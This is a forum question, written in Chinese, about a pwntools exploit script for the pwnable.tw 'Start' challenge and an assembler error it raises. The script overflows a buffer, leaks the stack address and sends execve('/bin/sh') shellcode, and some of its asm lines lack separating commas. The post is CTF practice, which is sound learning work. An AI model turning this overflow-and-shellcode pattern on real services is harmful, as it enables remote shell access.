我在python2.7上使用asm遇到麻烦

Question

我正在解决第一个挑战Start pwnable.tw Start ，这是我编写的代码：

from pwn import *

r = remote('chall.pwnable.tw', 10000)
context.arch = 'i386'
print(r.recvuntil('CTF:'))
payload1 = 'A'*20 + p32(0x08048087)
r.send(payload1)
esp = u32(r.recv()[:4])

shellcode = asm('\n'.join([
    'push %d' % u32('/sh\0'),
    'push %d' % u32('/bin'),
    'mov eax, 0xb'
    'xor ecx, ecx'
    'xor edx, edx'
    'mov ebx, esp'
    'int 0x80'
]))

payload2 = 'A'*20 + p32(esp+20) + shellcode
r.send(payload2)
r.interactive() 

我在第13行出现错误。该错误表示：

[+] Opening connection to chall.pwnable.tw on port 10000: Done
Let's start the CTF:
Traceback (most recent call last):
  File "start.py", line 13, in <module>
    'mov eax, 0xb'
  File "/Users/arav/Library/Python/2.7/lib/python/site-packages/pwnlib/context/__init__.py", line 1440, in setter
    return function(*a, **kw)
  File "/Users/arav/Library/Python/2.7/lib/python/site-packages/pwnlib/asm.py", line 643, in asm
    assembler = _assembler()
  File "/Users/arav/Library/Python/2.7/lib/python/site-packages/pwnlib/asm.py", line 246, in _assembler
    version = re.search(r' (\d\.\d+)', result).group(1)
AttributeError: 'NoneType' object has no attribute 'group'
[*] Closed connection to chall.pwnable.tw port 10000

python2.7.17上的asm指令到底有什么错误？